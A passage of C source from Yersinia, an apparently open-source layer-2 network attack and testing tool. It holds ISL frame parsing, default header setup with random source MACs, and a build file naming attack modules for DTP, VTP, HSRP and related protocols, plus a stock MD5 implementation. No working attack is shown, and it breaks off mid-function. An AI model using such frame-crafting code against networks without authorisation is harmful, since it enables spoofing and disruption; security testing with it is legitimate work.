comm_param[ISL_SMAC] = &isl_data->mac_source; comm_param[ISL_DMAC] = &isl_data->mac_dest; comm_param[ISL_TYPE] = &isl_data->type; comm_param[ISL_USER] = &isl_data->user; comm_param[ISL_LEN] = &isl_data->len; comm_param[ISL_SNAP] = &isl_data->snap; comm_param[ISL_HSA] = &isl_data->hsa; comm_param[ISL_VLAN] = &isl_data->vlan; comm_param[ISL_BPDU] = &isl_data->bpdu; comm_param[ISL_INDEX] = &isl_data->index; comm_param[ISL_RES] = &isl_data->res; comm_param[ISL_SRC_IP] = &isl_data->src_ip; comm_param[ISL_DST_IP] = &isl_data->dst_ip; comm_param[ISL_IP_PROTO] = &isl_data->ip_proto; comm_param[14] = NULL; comm_param[15] = NULL; return 0; } /* * Return formated strings of each ISL field */ char ** isl_get_printable_packet(struct pcap_data *data) { char **field_values; u_int16_t aux_short; if ( ! data ) return NULL ; if (data && (data->header->caplen < (14+8+8)) ) /* Undersized packet!! */ return NULL; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_ISL].nparams, protocols[PROTO_ISL].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } /* Source MAC */ snprintf(field_values[ISL_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", data->packet[6], data->packet[7], data->packet[8], data->packet[9], data->packet[10], data->packet[11]); /* Destination MAC */ snprintf(field_values[ISL_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", data->packet[0], data->packet[1], data->packet[2], data->packet[3], data->packet[4], 0x00); snprintf(field_values[ISL_TYPE], 2, "%01X", (*(u_int8_t *)(data->packet+5) & 0xF0)); snprintf(field_values[ISL_USER], 2, "%01X", (*(u_int8_t *)(data->packet+5) & 0x0F)); snprintf(field_values[ISL_LEN], 5, "%04X", (ntohs(*((u_int16_t *)data->packet+12)))); snprintf(field_values[ISL_SNAP], 7, "%02X%02X%02X", (*(u_int8_t *)(data->packet+14)), (*(u_int8_t *)(data->packet+15)), (*(u_int8_t *)(data->packet + 16))); snprintf(field_values[ISL_HSA], 7, "%02X%02X%02X", (*(u_int8_t *)(data->packet+17)), (*(u_int8_t *)(data->packet+18)), (*(u_int8_t *)(data->packet + 19))); aux_short = ntohs(*((u_int16_t *)(data->packet+20))); aux_short >>= 1; snprintf(field_values[ISL_VLAN], 5, "%04X", aux_short); snprintf(field_values[ISL_BPDU], 2, "%01d", (ntohs(*((u_int16_t *)(data->packet+20))) & 0x1)); snprintf(field_values[ISL_INDEX], 5, "%04X", (ntohs(*((u_int16_t *)(data->packet+22))))); snprintf(field_values[ISL_RES], 5, "%04X", (ntohs(*((u_int16_t *)(data->packet+24))))); return field_values; } char ** isl_get_printable_store(struct term_node *node) { struct isl_data *isl_tmp; char **field_values; #ifdef LBL_ALIGN u_int8_t *aux; #endif if ((field_values = (char **) protocol_create_printable(protocols[PROTO_ISL].nparams, protocols[PROTO_ISL].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) isl_tmp = protocols[PROTO_ISL].default_values; else isl_tmp = (struct isl_data *) node->protocol[PROTO_ISL].tmp_data; /* Source MAC */ snprintf(field_values[ISL_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", isl_tmp->mac_source[0], isl_tmp->mac_source[1], isl_tmp->mac_source[2], isl_tmp->mac_source[3], isl_tmp->mac_source[4], isl_tmp->mac_source[5]); /* Destination MAC */ snprintf(field_values[ISL_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", isl_tmp->mac_dest[0], isl_tmp->mac_dest[1], isl_tmp->mac_dest[2], isl_tmp->mac_dest[3], isl_tmp->mac_dest[4], isl_tmp->mac_dest[5]); snprintf(field_values[ISL_TYPE], 2, "%01X", isl_tmp->type & 0x0F); snprintf(field_values[ISL_USER], 2, "%01X", isl_tmp->user & 0x0F); snprintf(field_values[ISL_LEN], 5, "%04X", isl_tmp->len); snprintf(field_values[ISL_SNAP], 7, "%02X%02X%02X", isl_tmp->snap[0], isl_tmp->snap[1], isl_tmp->snap[2]); snprintf(field_values[ISL_HSA], 7, "%02X%02X%02X", isl_tmp->hsa[0], isl_tmp->hsa[1], isl_tmp->hsa[2]); snprintf(field_values[ISL_VLAN], 5, "%04X", isl_tmp->vlan); snprintf(field_values[ISL_BPDU], 2, "%01d", isl_tmp->bpdu & 0x01); snprintf(field_values[ISL_INDEX], 5, "%04X", isl_tmp->index); snprintf(field_values[ISL_RES], 5, "%04X", isl_tmp->res); /* Source IP */ parser_get_formated_inet_address(isl_tmp->src_ip, field_values[ISL_SRC_IP], 16); /* Destination IP */ parser_get_formated_inet_address(isl_tmp->dst_ip, field_values[ISL_DST_IP], 16); /* IP protocol */ snprintf(field_values[ISL_IP_PROTO], 3, "%02d",isl_tmp->ip_proto); return field_values; } int8_t isl_init_attribs(struct term_node *node) { struct isl_data *isl_data; isl_data = node->protocol[PROTO_ISL].tmp_data; attack_gen_mac(isl_data->mac_source); isl_data->mac_source[0] &= 0x0E; parser_vrfy_mac(ISL_DFL_MAC_DST, isl_data->mac_dest); isl_data->type = ISL_DFL_TYPE; isl_data->user = 0x0; isl_data->len = 0x0; memcpy((void *)isl_data->snap, (void *)ISL_DFL_SNAP, 3); memcpy((void *)isl_data->hsa, "\x00\x00\x00", 3); isl_data->vlan = libnet_get_prand(LIBNET_PRu16); isl_data->bpdu = 0x0; isl_data->index = 0x0; isl_data->res = 0x0; isl_data->src_ip = ntohl(inet_addr("10.0.0.1")); isl_data->dst_ip = ntohl(inet_addr("255.255.255.255")); isl_data->ip_proto = 1; return 0; } int8_t isl_end(struct term_node *node) { return 0; }
C/C++
yersinia/src/isl.h
/* isl.h * Definitions for ISL * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __ISL_H__ #define __ISL_H__ #include <libnet.h> #include "terminal-defs.h" #include "interfaces.h" #define ISL_TYPE_ETHERNET 0x00 #define ISL_TYPE_TOKEN_RING 0x10 #define ISL_TYPE_FDDI 0x20 #define ISL_TYPE_ATM 0x30 #define ISL_DFL_MAC_DST "01:00:0C:00:00:00" #define ISL_DFL_TYPE ISL_TYPE_ETHERNET #define ISL_DFL_USER 0x00 #define ISL_DFL_SNAP "\xAA\xAA\x03" struct isl_data { u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int8_t type; u_int8_t user; u_int16_t len; u_int8_t snap[3]; u_int8_t hsa[3]; u_int16_t vlan; u_int8_t bpdu; u_int16_t index; u_int16_t res; u_int32_t src_ip; u_int32_t dst_ip; u_int8_t ip_proto; }; #define ISL_TYPE_ETHERNET 0x00 #define ISL_TYPE_TOKEN_RING 0x10 #define ISL_TYPE_FDDI 0x20 #define ISL_TYPE_ATM 0x30 static const struct tuple_type_desc isl_type[] = { { ISL_TYPE_ETHERNET, "ETHERNET" }, { ISL_TYPE_TOKEN_RING, "TOKEN RING" }, { ISL_TYPE_FDDI, "FDDI" }, { ISL_TYPE_ATM, "ATM" }, { 0, NULL } }; static struct proto_features isl_features[] = { { F_LLC_DSAP, 0xaa }, { F_LLC_SSAP, 0xaa }, { F_LLC_SNAP, 0x03 }, { F_DMAC_1, 0x01 }, { F_DMAC_2, 0x00 }, { F_DMAC_3, 0x0C }, { F_DMAC_4, 0x00 }, { F_DMAC_5, 0x00 }, { -1, 0 } }; static const struct tuple_type_desc isl_proto[] = { { ETHERTYPE_IP, "IP" }, { ETHERTYPE_VLAN, ".1Q" }, { ETHERTYPE_ARP, "ARP" }, { ETHERTYPE_REVARP, "RARP" }, { 0x2000, "CDP" }, { 0x2003, "VTP" }, { 0x2004, "DTP" }, { 0x9000, "LOOP" }, { 0x010b, "PVST" }, { 0x4242, "STP" }, { 0, NULL } }; static const struct tuple_type_desc isl_ip_proto[] = { { 0x01, "icmp" }, { 0x06, "tcp" }, { 0x11, "udp" }, { 0x59, "ospf" }, { 0, NULL } }; #define ISL_SMAC 0 #define ISL_DMAC 1 #define ISL_TYPE 2 #define ISL_USER 3 #define ISL_LEN 4 #define ISL_SNAP 5 #define ISL_HSA 6 #define ISL_VLAN 7 #define ISL_BPDU 8 #define ISL_INDEX 9 #define ISL_RES 10 #define ISL_SRC_IP 11 #define ISL_DST_IP 12 #define ISL_IP_PROTO 13 /* Struct needed for using protocol fields within the network client */ struct commands_param isl_comm_params[] = { { ISL_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { ISL_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { ISL_TYPE, "type", "Type", 1, FIELD_HEX, "Set ISL type", " <0-FF> Type", 1, 2, 0, NULL, isl_type }, { ISL_USER, "user", "User", 1, FIELD_HEX, "Set ISL user", " <0-FF> User", 1, 2, 0, NULL, NULL }, { ISL_LEN, "len", "Len", 2, FIELD_HEX, "Set ISL len", " <0-FFFF> Len", 4, 2, 0, NULL, NULL }, { ISL_SNAP, "snap", "SNAP", 3, FIELD_HEX, "Set ISL snap", " <0-FFFFFF> SNAP", 6, 2, 0, NULL, NULL }, { ISL_HSA, "hsa", "HSA", 3, FIELD_HEX, "Set ISL hsa", " <0-FFFFFF> HSA", 6, 2, 0, NULL, NULL }, { ISL_VLAN, "vlan", "VLAN", 2, FIELD_HEX, "Set ISL vlan", " <0-FFFF> VLAN", 4, 2, 1, NULL, NULL }, { ISL_BPDU, "bpdu", "BPDU", 1, FIELD_HEX, "Set ISL bpdu", " <0-FF> BPDU", 1, 2, 0, NULL, NULL }, { ISL_INDEX, "index", "Index", 2, FIELD_HEX, "Set ISL index", " <0-FFFF> Index", 4, 2, 0, NULL, NULL }, { ISL_RES, "res", "Res", 2, FIELD_HEX, "Set ISL res", " <0-FFFF> Res", 4, 3, 0, NULL, NULL }, { ISL_SRC_IP, "ipsource", "Src IP", 4, FIELD_IP, "Set ISL IP source data address", " A.A.A.A IPv4 address", 15, 3, 1, NULL, NULL }, { ISL_DST_IP, "ipdest", "Dst IP", 4, FIELD_IP, "Set ISL IP destination data address", " A.A.A.A IPv4 address", 15, 3, 1, NULL, NULL }, { ISL_IP_PROTO, "ipproto", "Proto", 1, FIELD_HEX, "Set ISL IP protocol", " <0-FF> Proto", 2, 3, 1, NULL, isl_ip_proto }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " <cr>", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL } }; static struct _attack_definition isl_attack[] = { { 0, NULL, 0, 0, NULL, NULL, 0 } }; void isl_register(void); int8_t isl_init_comms_struct(struct term_node *); char **isl_get_printable_packet(struct pcap_data *data); char **isl_get_printable_store(struct term_node *); int8_t isl_init_attribs(struct term_node *); int8_t isl_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern int8_t vrfy_bridge_id( char *, u_int8_t * ); extern int8_t thread_create( THREAD *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t parser_command2index(register const struct _attack_definition *, register int8_t); extern void parser_basedisplay(u_int8_t, u_int8_t, char *, size_t ); extern struct terminals *terms; extern int8_t bin_data[]; #endif
yersinia/src/Makefile.am
AUTOMAKE_OPTIONS = no-dependencies DEFS = `$(LIBNET_CONFIG) --defines` @DEFS@ AM_CPPFLAGS = LIBS = @LIBS@ -lpcap -lnet bin_PROGRAMS = yersinia yersinia_SOURCES = xstp.c parser.c dtp.c dtp.h\ parser.h xstp.h global.h cdp.c cdp.h dhcp.c dhcp.h\ hsrp.h hsrp.c dot1q.h dot1q.c vtp.h vtp.c arp.h arp.c isl.h isl.c\ dot1x.h dot1x.c mpls.c mpls.h thread-util.h thread-util.c\ terminal.c terminal.h terminal-defs.h interfaces.h interfaces.c\ attack.h attack.c yersinia.h yersinia.c md5.c md5.h md5-sum.c\ md5-sum.h protocols.h protocols.c dlist.h dlist.c if HAS_CURSES AM_CPPFLAGS += $(CURSES_INCLUDEDIR) LIBS += -lpanel $(CURSES_LIBS) yersinia_SOURCES +=\ ncurses-gui.c ncurses-gui.h\ ncurses-callbacks.c ncurses-callbacks.h\ ncurses-interface.c ncurses-interface.h endif if HAVE_GTK AM_CPPFLAGS += @PACKAGE_CFLAGS@ DEFS += -DPACKAGE_DATA_DIR=\""$(datadir)"\" -DPACKAGE_LOCALE_DIR=\""$(prefix)/$(DATADIRNAME)/locale"\" yersinia_SOURCES += \ gtk-gui.c gtk-gui.h\ gtk-support.c gtk-support.h \ gtk-interface.c gtk-interface.h \ gtk-callbacks.c gtk-callbacks.h yersinia_LDADD = @PACKAGE_LIBS@ $(INTLLIBS) endif if HAVE_REMOTE_ADMIN yersinia_SOURCES += admin.c admin.h commands.c commands.h commands-struct.h endif
C
yersinia/src/md5-sum.c
/* md5_sum.c * Wrapper function for MD5 * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #include <stdio.h> #include <stdlib.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #include "md5-sum.h" void md5_sum(const u_int8_t *stuff, size_t len, u_char *digest) { struct MD5Context context; MD5Init(&context); MD5Update(&context, stuff, (unsigned) len); MD5Final(digest, &context); } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C/C++
yersinia/src/md5-sum.h
/* md5_sum.h * Definitions for MD5 wrapper function * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef _MD5_SUM_H #define _MD5_SUM_H #include "md5.h" void md5_sum(const u_int8_t *, size_t, u_char *); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/md5.c
/* md5.c * This code implements the MD5 message-digest algorithm. * The algorithm is due to Ron Rivest. This code was * written by Colin Plumb in 1993, no copyright is claimed. * This code is in the public domain; do with it what you wish. * * Equivalent code is available from RSA Data Security, Inc. * This code has been tested against that, and is equivalent, * except that you don't need to include two pages of legalese * with every copy. * * To compute the message digest of a chunk of bytes, declare an * MD5Context structure, pass it to MD5Init, call MD5Update as * needed on buffers full of bytes, and then call MD5Final, which * will fill a supplied 16-byte array with the digest. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #include <string.h> /* for memcpy() */ #include "md5.h" #ifdef WORDS_BIGENDIAN void byteReverse(unsigned char *buf, unsigned longs); #ifndef ASM_MD5 void byteReverse(unsigned char *buf, unsigned longs) { u_int32_t t; do { t = (u_int32_t) ((unsigned) buf[3] << 8 | buf[2]) << 16 | ((unsigned) buf[1] << 8 | buf[0]); *(u_int32_t *) buf = t; buf += 4; } while (--longs); } #endif #else #define byteReverse(buf, len) #endif /* * Start MD5 accumulation. Set bit count to 0 and buffer to mysterious * initialization constants. */ void MD5Init(struct MD5Context *ctx) { ctx->buf[0] = 0x67452301; ctx->buf[1] = 0xefcdab89; ctx->buf[2] = 0x98badcfe; ctx->buf[3] = 0x10325476; ctx->bits[0] = 0; ctx->bits[1] = 0; } /* * Update context to reflect the concatenation of another buffer full * of bytes. */ void MD5Update(struct MD5Context *ctx, unsigned char const *buf, unsigned len) { u_int32_t t; /* Update bitcount */ t = ctx->bits[0]; if ((ctx->bits[0] = t + ((u_int32_t) len << 3)) < t) ctx->bits[1]++; /* Carry from low to high */ ctx->bits[1] += len >> 29; t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */ /* Handle any leading odd-sized chunks */ if (t) { unsigned char *p = (unsigned char *) ctx->in + t; t = 64 - t; if (len < t) { memcpy(p, buf, len); return; } memcpy(p, buf, t); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u_int32_t *) ctx->in); buf += t; len -= t; } /* Process data in 64-byte chunks */ while (len >= 64) { memcpy(ctx->in, buf, 64); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u_int32_t *) ctx->in); buf += 64; len -= 64; } /* Handle any remaining bytes of data. */ memcpy(ctx->in, buf, len); } /* * Final wrapup - pad to 64-byte boundary with the bit pattern * 1 0* (64-bit count of bits processed, MSB-first) */ void MD5Final(unsigned char digest[16], struct MD5Context *ctx) { unsigned count; unsigned char *p; /* Compute number of bytes mod 64 */ count = (ctx->bits[0] >> 3) & 0x3F; /* Set the first char of padding to 0x80. This is safe since there is always at least one byte free */ p = ctx->in + count; *p++ = 0x80; /* Bytes of padding needed to make 64 bytes */ count = 64 - 1 - count; /* Pad out to 56 mod 64 */ if (count < 8) { /* Two lots of padding: Pad the first block to 64 bytes */ memset(p, 0, count); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u_int32_t *) ctx->in); /* Now fill the next block with 56 bytes */ memset(ctx->in, 0, 56); } else { /* Pad block to 56 bytes */ memset(p, 0, count - 8); } byteReverse(ctx->in, 14); /* Append length in bits and transform */ ((u_int32_t *) ctx->in)[14] = ctx->bits[0]; ((u_int32_t *) ctx->in)[15] = ctx->bits[1]; MD5Transform(ctx->buf, (u_int32_t *) ctx->in); byteReverse((unsigned char *) ctx->buf, 4); memcpy(digest, ctx->buf, 16); memset(ctx, 0, sizeof(struct MD5Context)); /* In case it's sensitive */ } #ifndef ASM_MD5 /* The four core functions - F1 is optimized somewhat */ /* #define F1(x, y, z) (x & y | ~x & z) */ #define F1(x, y, z) (z ^ (x & (y ^ z))) #define F2(x, y, z) F1(z, x, y) #define F3(x, y, z) (x ^ y ^ z) #define F4(x, y, z) (y ^ (x | ~z)) /* This is the central step in the MD5 algorithm. */ #ifdef __PUREC__ #define MD5STEP(f, w, x, y, z, data, s) \ ( w += f /*(x, y, z)*/ + data, w = w<<s | w>>(32-s), w += x ) #else #define MD5STEP(f, w, x, y, z, data, s) \ ( w += f(x, y, z) + data, w = w<<s | w>>(32-s), w += x ) #endif /* * The core of the MD5 algorithm, this alters an existing MD5 hash to * reflect the addition of 16 longwords of new data. MD5Update blocks * the data and converts bytes into longwords for this routine. */ void MD5Transform(u_int32_t buf[4], u_int32_t const in[16]) { register u_int32_t a, b, c, d; a = buf[0]; b = buf[1]; c = buf[2]; d = buf[3]; #ifdef __PUREC__ /* PureC Weirdness... (GG) */ MD5STEP(F1(b,c,d), a, b, c, d, in[0] + 0xd76aa478L, 7); MD5STEP(F1(a,b,c), d, a, b, c, in[1] + 0xe8c7b756L, 12); MD5STEP(F1(d,a,b), c, d, a, b, in[2] + 0x242070dbL, 17); MD5STEP(F1(c,d,a), b, c, d, a, in[3] + 0xc1bdceeeL, 22); MD5STEP(F1(b,c,d), a, b, c, d, in[4] + 0xf57c0fafL, 7); MD5STEP(F1(a,b,c), d, a, b, c, in[5] + 0x4787c62aL, 12); MD5STEP(F1(d,a,b), c, d, a, b, in[6] + 0xa8304613L, 17); MD5STEP(F1(c,d,a), b, c, d, a, in[7] + 0xfd469501L, 22); MD5STEP(F1(b,c,d), a, b, c, d, in[8] + 0x698098d8L, 7); MD5STEP(F1(a,b,c), d, a, b, c, in[9] + 0x8b44f7afL, 12); MD5STEP(F1(d,a,b), c, d, a, b, in[10] + 0xffff5bb1L, 17); MD5STEP(F1(c,d,a), b, c, d, a, in[11] + 0x895cd7beL, 22); MD5STEP(F1(b,c,d), a, b, c, d, in[12] + 0x6b901122L, 7); MD5STEP(F1(a,b,c), d, a, b, c, in[13] + 0xfd987193L, 12); MD5STEP(F1(d,a,b), c, d, a, b, in[14] + 0xa679438eL, 17); MD5STEP(F1(c,d,a), b, c, d, a, in[15] + 0x49b40821L, 22); MD5STEP(F2(b,c,d), a, b, c, d, in[1] + 0xf61e2562L, 5); MD5STEP(F2(a,b,c), d, a, b, c, in[6] + 0xc040b340L, 9); MD5STEP(F2(d,a,b), c, d, a, b, in[11] + 0x265e5a51L, 14); MD5STEP(F2(c,d,a), b, c, d, a, in[0] + 0xe9b6c7aaL, 20); MD5STEP(F2(b,c,d), a, b, c, d, in[5] + 0xd62f105dL, 5); MD5STEP(F2(a,b,c), d, a, b, c, in[10] + 0x02441453L, 9); MD5STEP(F2(d,a,b), c, d, a, b, in[15] + 0xd8a1e681L, 14); MD5STEP(F2(c,d,a), b, c, d, a, in[4] + 0xe7d3fbc8L, 20); MD5STEP(F2(b,c,d), a, b, c, d, in[9] + 0x21e1cde6L, 5); MD5STEP(F2(a,b,c), d, a, b, c, in[14] + 0xc33707d6L, 9); MD5STEP(F2(d,a,b), c, d, a, b, in[3] + 0xf4d50d87L, 14); MD5STEP(F2(c,d,a), b, c, d, a, in[8] + 0x455a14edL, 20); MD5STEP(F2(b,c,d), a, b, c, d, in[13] + 0xa9e3e905L, 5); MD5STEP(F2(a,b,c), d, a, b, c, in[2] + 0xfcefa3f8L, 9); MD5STEP(F2(d,a,b), c, d, a, b, in[7] + 0x676f02d9L, 14); MD5STEP(F2(c,d,a), b, c, d, a, in[12] + 0x8d2a4c8aL, 20); MD5STEP(F3(b,c,d), a, b, c, d, in[5] + 0xfffa3942L, 4); MD5STEP(F3(a,b,c), d, a, b, c, in[8] + 0x8771f681L, 11); MD5STEP(F3(d,a,b), c, d, a, b, in[11] + 0x6d9d6122L, 16); MD5STEP(F3(c,d,a), b, c, d, a, in[14] + 0xfde5380cL, 23); MD5STEP(F3(b,c,d), a, b, c, d, in[1] + 0xa4beea44L, 4); MD5STEP(F3(a,b,c), d, a, b, c, in[4] + 0x4bdecfa9L, 11); MD5STEP(F3(d,a,b), c, d, a, b, in[7] + 0xf6bb4b60L, 16); MD5STEP(F3(c,d,a), b, c, d, a, in[10] + 0xbebfbc70L, 23); MD5STEP(F3(b,c,d), a, b, c, d, in[13] + 0x289b7ec6L, 4); MD5STEP(F3(a,b,c), d, a, b, c, in[0] + 0xeaa127faL, 11); MD5STEP(F3(d,a,b), c, d, a, b, in[3] + 0xd4ef3085L, 16); MD5STEP(F3(c,d,a), b, c, d, a, in[6] + 0x04881d05L, 23); MD5STEP(F3(b,c,d), a, b, c, d, in[9] + 0xd9d4d039L, 4); MD5STEP(F3(a,b,c), d, a, b, c, in[12] + 0xe6db99e5L, 11); MD5STEP(F3(d,a,b), c, d, a, b, in[15] + 0x1fa27cf8L, 16); MD5STEP(F3(c,d,a), b, c, d, a, in[2] + 0xc4ac5665L, 23); MD5STEP(F4(b,c,d), a, b, c, d, in[0] + 0xf4292244L, 6); MD5STEP(F4(a,b,c), d, a, b, c, in[7] + 0x432aff97L, 10); MD5STEP(F4(d,a,b), c, d, a, b, in[14] + 0xab9423a7L, 15); MD5STEP(F4(c,d,a), b, c, d, a, in[5] + 0xfc93a039L, 21); MD5STEP(F4(b,c,d), a, b, c, d, in[12] + 0x655b59c3L, 6); MD5STEP(F4(a,b,c), d, a, b, c, in[3] + 0x8f0ccc92L, 10); MD5STEP(F4(d,a,b), c, d, a, b, in[10] + 0xffeff47dL, 15); MD5STEP(F4(c,d,a), b, c, d, a, in[1] + 0x85845dd1L, 21); MD5STEP(F4(b,c,d), a, b, c, d, in[8] + 0x6fa87e4fL, 6); MD5STEP(F4(a,b,c), d, a, b, c, in[15] + 0xfe2ce6e0L, 10); MD5STEP(F4(d,a,b), c, d, a, b, in[6] + 0xa3014314L, 15); MD5STEP(F4(c,d,a), b, c, d, a, in[13] + 0x4e0811a1L, 21); MD5STEP(F4(b,c,d), a, b, c, d, in[4] + 0xf7537e82L, 6); MD5STEP(F4(a,b,c), d, a, b, c, in[11] + 0xbd3af235L, 10); MD5STEP(F4(d,a,b), c, d, a, b, in[2] + 0x2ad7d2bbL, 15); MD5STEP(F4(c,d,a), b, c, d, a, in[9] + 0xeb86d391L, 21); #else MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7); MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12); MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17); MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22); MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7); MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12); MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17); MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22); MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7); MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12); MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17); MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22); MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7); MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12); MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17); MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22); MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5); MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9); MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14); MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20); MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5); MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9); MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14); MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20); MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5); MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9); MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14); MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20); MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5); MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9); MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14); MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20); MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4); MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11); MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16); MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23); MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4); MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11); MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16); MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23); MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4); MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11); MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16); MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23); MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4); MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11); MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16); MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23); MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6); MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10); MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15); MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21); MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6); MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10); MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15); MD5STEP(F4, b, c, 